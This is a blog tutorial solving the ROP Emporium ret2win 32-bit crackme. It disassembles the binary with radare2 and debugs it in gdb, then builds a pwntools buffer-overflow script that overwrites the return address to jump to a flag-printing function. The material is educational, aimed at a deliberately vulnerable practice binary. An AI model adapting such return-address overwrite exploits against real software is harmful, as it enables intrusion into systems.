jmpesp.me

Ropping to Victory

An entry-level introduction to Return Oriented Programming using radare2 and pwntools to crack ropemporium's ret2win....

a year ago

Latest Post Ropping to Victory - Part 4, write4 by m0rv4i

ROP Emporium challenges with Radare2 and pwntools.

Today we're going to be cracking the first challenge. These challenges are a learning tool for , a modern exploit technique for buffer overflows that helps bypass security mechanisms such as DEP. They take the form of crackmes that get incrementally harder, forcing the learner to apply different techniques to overcome the challenge. The objective is to exploit the binary and get it to read the flag.txt that is in the same directory.

We're going to start with the first and simplest crackme, aptly called ret2win, and focus on the 32-bit version to begin with. We'll use for the reverse engineering aspects and for slick exploit development, so this will also provide a bit of a primer for those tools. Make sure you have these installed if you want to follow along.

Binary Analysis

To start off, lets have a look at the file:

$ file ret2win32
ret2win32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=70a25eb0b818fdc0bafabe17e07bccacb8513a53, not stripped

We see that it's a 32-bit ELF, and has not been stripped, so let's fire up radare2 have a look at what's going on.

$ r2 -AAA ret2win32
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Emulate code to find computed references (aae)
[x] Analyze consecutive function (aat)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
[0x08048480]>

The -AAA argument instructs radare to perform all analysis of the binary straight away, and we're then presented with a memory address at a prompt.

The memory address in the prompt is the location in the binary we are currently at. This is a virtual memory address, the same used by the binary when running, assuming isn't present. By default the starting address is the address of the entry0 function, where program execution starts.

We can list all the functions in the binary with afl:

[0x08048480]> afl
0x080483c0    3 35           sym._init
0x08048400    1 6            sym.imp.printf
0x08048410    1 6            sym.imp.fgets
0x08048420    1 6            sym.imp.puts
0x08048430    1 6            sym.imp.system
0x08048440    1 6            sym.imp.__libc_start_main
0x08048450    1 6            sym.imp.setvbuf
0x08048460    1 6            sym.imp.memset
0x08048470    1 6            sub.__gmon_start_470
0x08048480    1 33           entry0
0x080484b0    1 4            sym.__x86.get_pc_thunk.bx
0x080484c0    4 43           sym.deregister_tm_clones
0x080484f0    4 53           sym.register_tm_clones
0x08048530    3 30           sym.__do_global_dtors_aux
0x08048550    4 43   -> 40   entry1.init
0x0804857b    1 123          sym.main
0x080485f6    1 99           sym.pwnme
0x08048659    1 41           sym.ret2win
0x08048690    4 93           sym.__libc_csu_init
0x080486f0    1 2            sym.__libc_csu_fini
0x080486f4    1 20           sym._fini

Here we can note several interesting functions: main, pwnme and ret2win.

As program execution properly starts in the main method, let's take a look at that first to orient ourselves.

We can do this with the pdf (print disassembled function) command. By default, these commands in radare run at the current location. We can therefore seek to the main method and run pdf.

[0x08048480]> s sym.main
[0x0804857b]> pdf
            ;-- main:
/ (fcn) sym.main 123
|   sym.main ();
|           ; var int local_4h_2 @ ebp-0x4
|           ; var int local_4h @ esp+0x4
|           ; DATA XREF from 0x08048497 (entry0)
|           0x0804857b      8d4c2404       lea ecx, dword [local_4h]   ; 4
|           0x0804857f      83e4f0         and esp, 0xfffffff0
|           0x08048582      ff71fc         push dword [ecx - 4]
|           0x08048585      55             push ebp
|           0x08048586      89e5           mov ebp, esp
|           0x08048588      51             push ecx
|           0x08048589      83ec04         sub esp, 4
|           0x0804858c      a164a00408     mov eax, dword [obj.stdout] ; [0x804a064:4]=0
|           0x08048591      6a00           push 0
|           0x08048593      6a02           push 2                      ; 2
|           0x08048595      6a00           push 0                      ; size_t size
|           0x08048597      50             push eax                    ; int mode
|           0x08048598      e8b3feffff     call sym.imp.setvbuf        ; int setvbuf(FILE*stream, char*buf, int mode, size_t size)
|           0x0804859d      83c410         add esp, 0x10
|           0x080485a0      a140a00408     mov eax, dword [sym.stderr] ; obj.stderr ; [0x804a040:4]=0
|           0x080485a5      6a00           push 0
|           0x080485a7      6a02           push 2                      ; 2
|           0x080485a9      6a00           push 0                      ; size_t size
|           0x080485ab      50             push eax                    ; int mode
|           0x080485ac      e89ffeffff     call sym.imp.setvbuf        ; int setvbuf(FILE*stream, char*buf, int mode, size_t size)
|           0x080485b1      83c410         add esp, 0x10
|           0x080485b4      83ec0c         sub esp, 0xc
|           0x080485b7      6810870408     push str.ret2win_by_ROP_Emporium ; 0x8048710 ; "ret2win by ROP Emporium" ; const char * s
|           0x080485bc      e85ffeffff     call sym.imp.puts           ; int puts(const char *s)
|           0x080485c1      83c410         add esp, 0x10
|           0x080485c4      83ec0c         sub esp, 0xc
|           0x080485c7      6828870408     push str.32bits             ; 0x8048728 ; "32bits\n" ; const char * s
|           0x080485cc      e84ffeffff     call sym.imp.puts           ; int puts(const char *s)
|           0x080485d1      83c410         add esp, 0x10
|           0x080485d4      e81d000000     call sym.pwnme
|           0x080485d9      83ec0c         sub esp, 0xc
|           0x080485dc      6830870408     push str.Exiting            ; 0x8048730 ; "\nExiting" ; const char * s
|           0x080485e1      e83afeffff     call sym.imp.puts           ; int puts(const char *s)
|           0x080485e6      83c410         add esp, 0x10
|           0x080485e9      b800000000     mov eax, 0
|           0x080485ee      8b4dfc         mov ecx, dword [local_4h_2]
|           0x080485f1      c9             leave
|           0x080485f2      8d61fc         lea esp, dword [ecx - 4]
\           0x080485f5      c3             ret
[0x0804857b]>

Notice how the memory address in the prompt changes as we seek to the main function. Now running pdf prints the disassembled main function.

We notice that a bunch of stuff is printed using and then pwnme is called, so let's take a look at that function.

Instead of seeking to where we want to disassemble, we can also just point the pdf command at our function. This functionality is common across a lot of commands, we can point them at functions, flags or memory in the same way.

[0x0804857b]> pdf @ sym.pwnme
/ (fcn) sym.pwnme 99
|   sym.pwnme ();
|           ; var int local_28h @ ebp-0x28
|           ; CALL XREF from 0x080485d4 (sym.main)
|           0x080485f6      55             push ebp
|           0x080485f7      89e5           mov ebp, esp
|           0x080485f9      83ec28         sub esp, 0x28               ; '('
|           0x080485fc      83ec04         sub esp, 4
|           0x080485ff      6a20           push 0x20                   ; 32
|           0x08048601      6a00           push 0                      ; size_t n
|           0x08048603      8d45d8         lea eax, dword [local_28h]
|           0x08048606      50             push eax                    ; int c
|           0x08048607      e854feffff     call sym.imp.memset         ; void *memset(void *s, int c, size_t n)
|           0x0804860c      83c410         add esp, 0x10
|           0x0804860f      83ec0c         sub esp, 0xc
|           0x08048612      683c870408     push str.For_my_first_trick__I_will_attempt_to_fit_50_bytes_of_user_input_into_32_bytes_of_stack_buffer___What_could_possibly_go_wrong ; 0x804873c ; "For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;\nWhat could possibly go wrong?" ; const char * s
|           0x08048617      e804feffff     call sym.imp.puts           ; int puts(const char *s)
|           0x0804861c      83c410         add esp, 0x10
|           0x0804861f      83ec0c         sub esp, 0xc
|           0x08048622      68bc870408     push str.You_there_madam__may_I_have_your_input_please__And_don_t_worry_about_null_bytes__we_re_using_fgets ; 0x80487bc ; "You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!\n" ; const char * s
|           0x08048627      e8f4fdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x0804862c      83c410         add esp, 0x10
|           0x0804862f      83ec0c         sub esp, 0xc
|           0x08048632      6821880408     push 0x8048821              ; const char * format
|           0x08048637      e8c4fdffff     call sym.imp.printf         ; int printf(const char *format)
|           0x0804863c      83c410         add esp, 0x10
|           0x0804863f      a160a00408     mov eax, dword [obj.stdin]  ; [0x804a060:4]=0
|           0x08048644      83ec04         sub esp, 4
|           0x08048647      50             push eax
|           0x08048648      6a32           push 0x32                   ; '2' ; 50
|           0x0804864a      8d45d8         lea eax, dword [local_28h]
|           0x0804864d      50             push eax                    ; char *s
|           0x0804864e      e8bdfdffff     call sym.imp.fgets          ; char *fgets(char *s, int size, FILE *stream)
|           0x08048653      83c410         add esp, 0x10
|           0x08048656      90             nop
|           0x08048657      c9             leave
\           0x08048658      c3             ret

We can see at the top being called. Radare helpfully prints the function signature for memset in a comment (after the ;), and we can see it takes a pointer, an int and a size in that order.

As this is 32-bit, we can look at the assembly and see that the value 0x20 is pushed to the stack, followed by 0 and a pointer to the variable local_28h immediately before memset is called. As whatever is pushed to the stack last is at the top and is popped first, the arguments to the function are getting pushed on in reverse order so that the first argument is at the top. Appropriately allocating these arguments to the memset function means that memset is zeroing out 0x20 bytes of memory for the variable local_28h.

We can also see further down that is being called with 0x32 bytes being written to local_28h from stdin. Radare helpfully tells us in the comments that these are 50 and 32 in decimal, and the string that gets put'd to the screen seems to agree. If we're feeling lazy, we can use radare to do some maths for us here:

[0x0804857b]> ? 0x32 - 0x20
18 0x12 022 18 0000:0012 18 "\x12" 0b00010010 18.0 18.000000f 18.000000 0t200

So as 50 bytes of memory are being written into a 32 byte buffer we think we have found the buffer overflow vulnerability location and that we'll have 18 bytes of space in which to fit our exploit!

Next, let's take a look at the last interesting function, ret2win, which is the name of the challenge.

[0x0804857b]> pdf @ sym.ret2win
/ (fcn) sym.ret2win 41
|   sym.ret2win ();
|           0x08048659      55             push ebp
|           0x0804865a      89e5           mov ebp, esp
|           0x0804865c      83ec08         sub esp, 8
|           0x0804865f      83ec0c         sub esp, 0xc
|           0x08048662      6824880408     push str.Thank_you__Here_s_your_flag: ; 0x8048824 ; "Thank you! Here's your flag:" ; const char * format
|           0x08048667      e894fdffff     call sym.imp.printf         ; int printf(const char *format)
|           0x0804866c      83c410         add esp, 0x10
|           0x0804866f      83ec0c         sub esp, 0xc
|           0x08048672      6841880408     push str.bin_cat_flag.txt   ; 0x8048841 ; "/bin/cat flag.txt" ; const char * string
|           0x08048677      e8b4fdffff     call sym.imp.system         ; int system(const char *string)
|           0x0804867c      83c410         add esp, 0x10
|           0x0804867f      90             nop
|           0x08048680      c9             leave
\           0x08048681      c3             ret

This function seems to do everything we could ask of it, calling system with /bin/cat flag.txt. It also takes no arguments, so it looks like we'd just need to return to it to win! Let's make a note of the address of ret2win, 0x08048659, and move on to exploitation.

Exploitation

We're going to exploit the binary using , which is an excellent library for python that abstracts away a lot of the headaches and repetition that can come with exploit development.

To start with, let's try running the binary:

$ ./ret2win32
ret2win by ROP Emporium
32bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> test

Exiting

We can see that it prints the strings we saw earlier and we appear to be correct about the buffer sizes. We enter 'test' and the program just exits, as expected.

Let's create a skeleton script to execute and debug our exploit:

#!/usr/bin/env python2

import pwn

t = pwn.process("./ret2win32")

pwn.gdb.attach(t)

t.interactive()

This script will start the ret2win32 process organically and return a tube (sort of like a handle to the process), attach the debugger to it and then provide us with an interactive session using gdb. If we find that gdb is attaching to the started process too late and our program execution has already passed our breakpoints then we can instead start the process from gdb directly using t = pwn.gdb.debug("./ret2win32"), but until then we'll start it organically to avoid any potential issues.

Running our python script results in:

$ python pwn_ret2win.py
[+] Starting local process './ret2win32': pid 56036
[*] running in new terminal: /usr/bin/gdb -q  "./ret2win32" 56036 -x "/tmp/pwnE_DG49.gdb"
[+] Waiting for debugger: Done
[*] Switching to interactive mode
ret2win by ROP Emporium
32bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> $

A gdb session is also created in a separate terminal. This looks to be working as intended to let's continue:

#!/usr/bin/env python2

import pwn

t = pwn.process("./ret2win32")

gdb_cmd = [
    'b *0x08048653',
    'c'
]

pwn.gdb.attach(t, gdbscript = '\n'.join(gdb_cmd))

t.recvuntil('\n>')
t.sendline("test")

t.interactive()

This script has a bit more to it. We've created an array of gdb_cmds which we are joining with newline characters (so that they are "entered") which we are passing to gdb via the gdbscript parameter. Presently this array just consists of a breakpoint at the address 0x08048653 and the 'c', or continue, command which continues execution once gdb initially attaches to the process. The 0x08048653 address was taken from radare and is the address of the instruction after fgets is called in the pwnme function, so we can examine memory after the program takes our input.

We then continue receiving input until a newline and a ">" prompt is received using t.recvuntil('\n>') as this is what is displayed in the console when the binary is waiting for our input.

We then send the string 'test' followed by a newline character using the sendline command. Executing this script results in a gdb session at the breakpoint, as expected. Examining the memory we see our "test" string in the return value of the function (eax) and on the stack:

[#0] Id 1, Name: "ret2win32", stopped, reason: STOPPED
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0xf7f31059 → Name: __kernel_vsyscall()
[#1] 0xf7e147d7 → Name: read()
[#2] 0xf7da1798 → Name: _IO_file_underflow()
[#3] 0xf7da28ab → Name: _IO_default_uflow()
[#4] 0xf7d95871 → Name: _IO_getline_info()
[#5] 0xf7d959be → Name: _IO_getline()
[#6] 0xf7d947a9 → Name: fgets()
[#7] 0x8048653 → Name: pwnme()
[#8] 0x80485d9 → Name: main()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0xf7f31059 in __kernel_vsyscall ()
Breakpoint 1 at 0x8048653
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]────
$eax   : 0xffefeb60  →  "test"
$ebx   : 0x00000000
$ecx   : 0xf7f0589c  →  0x00000000
$edx   : 0xffefeb60  →  "test"
$esp   : 0xffefeb50  →  0xffefeb60  →  "test"
$ebp   : 0xffefeb88  →  0xffefeb98  →  0x00000000
$esi   : 0xf7f04000  →  0x001d4d6c ("lM"?)
$edi   : 0x00000000
$eip   : 0x08048653  →   add esp, 0x10
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$ds: 0x002b  $fs: 0x0000  $ss: 0x002b  $gs: 0x0063  $cs: 0x0023  $es: 0x002b  
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]────
0xffefeb50│+0x00: 0xffefeb60  →  "test"	 ← $esp
0xffefeb54│+0x04: 0x00000032 ("2"?)
0xffefeb58│+0x08: 0xf7f045c0  →  0xfbad2088
0xffefeb5c│+0x0c: 0xfbad2887
0xffefeb60│+0x10: "test"	 ← $eax, $edx
0xffefeb64│+0x14: 0x0000000a
0xffefeb68│+0x18: 0x00000000
0xffefeb6c│+0x1c: 0x00000000
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]────
    0x804864a        lea    eax, [ebp-0x28]
    0x804864d        push   eax
    0x804864e        call   0x8048410 
 →  0x8048653        add    esp, 0x10
    0x8048656        nop    
    0x8048657        leave  
    0x8048658        ret    
    0x8048659       push   ebp
    0x804865a       mov    ebp, esp
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "ret2win32", stopped, reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x8048653 → Name: pwnme()
[#1] 0x80485d9 → Name: main()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Breakpoint 1, 0x08048653 in pwnme ()
gef➤  

Note I'm using gdb with which is a great extension and provides the context we see above.

Everything seems to be working as expected, so now let's actually try overflowing this thing.

#!/usr/bin/env python2

import pwn

t = pwn.process("./ret2win32")

gdb_cmd = [
    'b *0x08048653',
    'c'
]

pwn.gdb.attach(t, gdbscript = '\n'.join(gdb_cmd))

buf = pwn.cyclic(60, n = 4)

t.recvuntil('\n>')
t.sendline(buf)

t.interactive()

Here we've created a cyclic pattern 60 characters in length, with every sequence of four characters being unique using pwn.cyclic(60, n = 4). We've assigned that to the variable buf and sent that as our input. We've chosen four characters as a 32-bit memory address is four bytes in length, so if our overflow overwrites something in memory we can determine at exactly what offset into our input that occurs.

Running this and examining memory at our breakpoint:

────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "ret2win32", stopped, reason: STOPPED
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0xf7f9f059 → Name: __kernel_vsyscall()
[#1] 0xf7e827d7 → Name: read()
[#2] 0xf7e0f798 → Name: _IO_file_underflow()
[#3] 0xf7e108ab → Name: _IO_default_uflow()
[#4] 0xf7e03871 → Name: _IO_getline_info()
[#5] 0xf7e039be → Name: _IO_getline()
[#6] 0xf7e027a9 → Name: fgets()
[#7] 0x8048653 → Name: pwnme()
[#8] 0x80485d9 → Name: main()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0xf7f9f059 in __kernel_vsyscall ()
Breakpoint 1 at 0x8048653
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]────
$eax   : 0xff84f0e0  →  "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam"
$ebx   : 0x00000000
$ecx   : 0xf7f7389c  →  0x00000000
$edx   : 0xff84f0e0  →  "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam"
$esp   : 0xff84f0d0  →  0xff84f0e0  →  "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam"
$ebp   : 0xff84f108  →  "kaaalaaam"
$esi   : 0xf7f72000  →  0x001d4d6c ("lM"?)
$edi   : 0x00000000
$eip   : 0x08048653  →  <pwnme+93> add esp, 0x10
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$fs: 0x0000  $gs: 0x0063  $ds: 0x002b  $cs: 0x0023  $es: 0x002b  $ss: 0x002b  
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]────
0xff84f0d0│+0x00: 0xff84f0e0  →  "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam"	 ← $esp
0xff84f0d4│+0x04: 0x00000032 ("2"?)
0xff84f0d8│+0x08: 0xf7f725c0  →  0xfbad2088
0xff84f0dc│+0x0c: 0xfbad2887
0xff84f0e0│+0x10: "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam"	 ← $eax, $edx
0xff84f0e4│+0x14: "baaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam"
0xff84f0e8│+0x18: "caaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam"
0xff84f0ec│+0x1c: "daaaeaaafaaagaaahaaaiaaajaaakaaalaaam"
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]────
    0x804864a <pwnme+84>       lea    eax, [ebp-0x28]
    0x804864d <pwnme+87>       push   eax
    0x804864e <pwnme+88>       call   0x8048410 <[email protected]>
 →  0x8048653 <pwnme+93>       add    esp, 0x10
    0x8048656 <pwnme+96>       nop    
    0x8048657 <pwnme+97>       leave  
    0x8048658 <pwnme+98>       ret    
    0x8048659 <ret2win+0>      push   ebp
    0x804865a <ret2win+1>      mov    ebp, esp
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "ret2win32", stopped, reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x8048653 → Name: pwnme()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Breakpoint 1, 0x08048653 in pwnme ()
gef➤  

We can see our cyclic string in memory. We can examine memory directly using the examine command in gdb. This command can also take a format, so we specify a string with /s. Checkout for more information on gdb commands.

Once we have the string, we can execute shell commands using !<command> to check its length. As expected from our binary analysis, it's 50 characters in length:

gef➤  x/s 0xff84f0e0
0xff84f0e0:	"aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam"
gef➤  !echo "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam" | wc -c
50
gef➤  

Continuing execution with the c command results in a crash!

gef➤  c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]────
$eax   : 0xff84f0e0  →  "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam"
$ebx   : 0x00000000
$ecx   : 0xf7f7389c  →  0x00000000
$edx   : 0xff84f0e0  →  "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam"
$esp   : 0xff84f110  →  0xf7fa006d  →  0x00000000
$ebp   : 0x6161616b ("kaaa"?)
$esi   : 0xf7f72000  →  0x001d4d6c ("lM"?)
$edi   : 0x00000000
$eip   : 0x6161616c ("laaa"?)
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$fs: 0x0000  $gs: 0x0063  $ds: 0x002b  $cs: 0x0023  $es: 0x002b  $ss: 0x002b  
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]────
0xff84f110│+0x00: 0xf7fa006d  →  0x00000000	 ← $esp
0xff84f114│+0x04: 0xff84f130  →  0x00000001
0xff84f118│+0x08: 0x00000000
0xff84f11c│+0x0c: 0xf7db5e81  →  <__libc_start_main+241> add esp, 0x10
0xff84f120│+0x10: 0xf7f72000  →  0x001d4d6c ("lM"?)
0xff84f124│+0x14: 0xf7f72000  →  0x001d4d6c ("lM"?)
0xff84f128│+0x18: 0x00000000
0xff84f12c│+0x1c: 0xf7db5e81  →  <__libc_start_main+241> add esp, 0x10
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x6161616c
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "ret2win32", stopped, reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x6161616c in ?? ()
gef➤  

The process crashed with a segfault, the EIP register was overwritten with 0x6161616c which is the "laaa" portion of our input string. Note that due to the little-endian nature of Intel systems, the memory address 0x6161616c is actually stored in memory as 0x6c 0x61 0x61 0x61. When reading addresses from memory, the least significant bit, or the bit with which represents the smallest value is read first. In hex numbers this bit is displayed on the right, which is why the order is reversed.

As 0x61 is the byte value of ASCII 'a' and 0x6c is the byte value of ASCII 'c', this explains why 0x6161616c is shown as laaa and not aaal.

We can view this in gdb by examining the memory in different chunks:

gef➤  x/4xb 0xff84f10c
0xff84f10c:	0x6c	0x61	0x61	0x61
gef➤  x/xw 0xff84f10c
0xff84f10c:	0x6161616c

We can see that when examined as four hex bytes (x/4xb) the bytes are displayed as 0x6c 0x61 0x61 0x61 (laaa), as that is the order they occur in memory. However when examined as a single hexadecimal word (four byte group, x/xw), gdb intelligently handles the endianess for us and displays them it as 0x6161616c.

This value is overwriting EIP register or the extended instruction pointer. A CPU register is essentially a variable used by the CPU when executing a program, some have dedicated roles and some are general purpose. This CPU register is a vital one as it's a pointer that points to the next instruction to be executed. Overwriting this register then means that we can control the flow of the program as we can change the value to point to a location of our choosing.

Let's alter our script to confirm that we have exact control of EIP:

#!/usr/bin/env python2

import pwn

t = pwn.process("./ret2win32")

gdb_cmd = [
    'c'
]

pwn.gdb.attach(t, gdbscript = '\n'.join(gdb_cmd))

offset = pwn.cyclic_find("laaa", n = 4)

buf = "A" * offset
buf += "B" * 4
buf += "C" * 16

t.recvuntil('\n>')
t.sendline(buf)

t.interactive()

We've dropped our breakpoint as we no longer need it and used the pwntools cyclic_find function to determine the offset into our buffer that overwrites EIP. We've then created a buffer that consists of a number of "A"s equals to our offset, then four "B"s that should overwrite the four-byte EIP address exactly, then 16 "C"s that should come afterwards.

Running the script results in the expected crash when EIP can't execute the instruction at 0x42424242 (0x42 is the byte value of ASCII "B").

────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "ret2win32", stopped, reason: STOPPED
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0xf7f2f059 → Name: __kernel_vsyscall()
[#1] 0xf7e127d7 → Name: read()
[#2] 0xf7d9f798 → Name: _IO_file_underflow()
[#3] 0xf7da08ab → Name: _IO_default_uflow()
[#4] 0xf7d93871 → Name: _IO_getline_info()
[#5] 0xf7d939be → Name: _IO_getline()
[#6] 0xf7d927a9 → Name: fgets()
[#7] 0x8048653 → Name: pwnme()
[#8] 0x80485d9 → Name: main()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0xf7f2f059 in __kernel_vsyscall ()

Program received signal SIGSEGV, Segmentation fault.
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]────
$eax   : 0xff9db510  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBC"
$ebx   : 0x00000000
$ecx   : 0xf7f0389c  →  0x00000000
$edx   : 0xff9db510  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBC"
$esp   : 0xff9db540  →  0xf7f30043  →  0x0252d800
$ebp   : 0x41414141 ("AAAA"?)
$esi   : 0xf7f02000  →  0x001d4d6c ("lM"?)
$edi   : 0x00000000
$eip   : 0x42424242 ("BBBB"?)
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0023  $es: 0x002b  $ds: 0x002b  $gs: 0x0063  $ss: 0x002b  $fs: 0x0000  
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]────
0xff9db540│+0x00: 0xf7f30043  →  0x0252d800	 ← $esp
0xff9db544│+0x04: 0xff9db560  →  0x00000001
0xff9db548│+0x08: 0x00000000
0xff9db54c│+0x0c: 0xf7d45e81  →  <__libc_start_main+241> add esp, 0x10
0xff9db550│+0x10: 0xf7f02000  →  0x001d4d6c ("lM"?)
0xff9db554│+0x14: 0xf7f02000  →  0x001d4d6c ("lM"?)
0xff9db558│+0x18: 0x00000000
0xff9db55c│+0x1c: 0xf7d45e81  →  <__libc_start_main+241> add esp, 0x10
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x42424242
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "ret2win32", stopped, reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x42424242 in ?? ()
gef➤    

Excellent! Now we just have to figure out where to send the program. The ret2win function from our binary analysis seems like the perfect candidate. If we recall, the memory address of this function was 0x08048659.

Let's update our script so that we send execution to this address instead:

#!/usr/bin/env python2

import pwn

t = pwn.process("./ret2win32")

gdb_cmd = [
    'c'
]

pwn.gdb.attach(t, gdbscript = '\n'.join(gdb_cmd))
pointer_ret2win = 0x08048659

offset = pwn.cyclic_find("laaa", n = 4)

buf = "A" * offset
buf += pwn.p32(pointer_ret2win)
buf += "C" * 16

t.recvuntil('\n>')
t.sendline(buf)

t.interactive()

We've replaced our four B's with a pointer to ret2win. However as we know we have to make sure we write our bytes in the correct order so that the endianness is taken into account. pwntools has a handy function for doing this for us, pwn.p32() takes a number and packs it as a 32-bit value handling the endianess for us.

Executing this results in the ret2win function being called and our flag being printed as /bin/cat flag.txt is invoked via the call to system:

$ python pwn_ret2win.py
[+] Starting local process './ret2win32': pid 121859
[*] running in new terminal: /usr/bin/gdb -q  "./ret2win32" 121859 -x "/tmp/pwnIZOZ88.gdb"
[+] Waiting for debugger: Done
[*] Switching to interactive mode
 Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
$

If we want we can debug the program to see exactly what happens. We notice that after fgets is called part of the stack is overwritten by our buffer. When the pwnme function finishes it performs a ret instruction and the program execution path returns to the return address that is stored on the stack, the location of which has been overwritten by us and now points to ret2win. We have written an exploit that causes the program to return to a location of our choosing, hence return oriented programming.

Summary

We've had a pretty granular look at the first ropemporium challenge, ret2win. We've used radare2 to perform some binary analysis and pwntools to script our exploit development, creating an exploit that uses a buffer overflow to overwrite the return address of the current function on the stack with a function of our choosing.

Next time we'll have a look at the second challenge, split. We'll leave out a lot of the boilerplate that's been covered this time, and start to look at some more advanced uses for our tools.

m0rv4i

Published a year ago

jmpesp.me © 2019.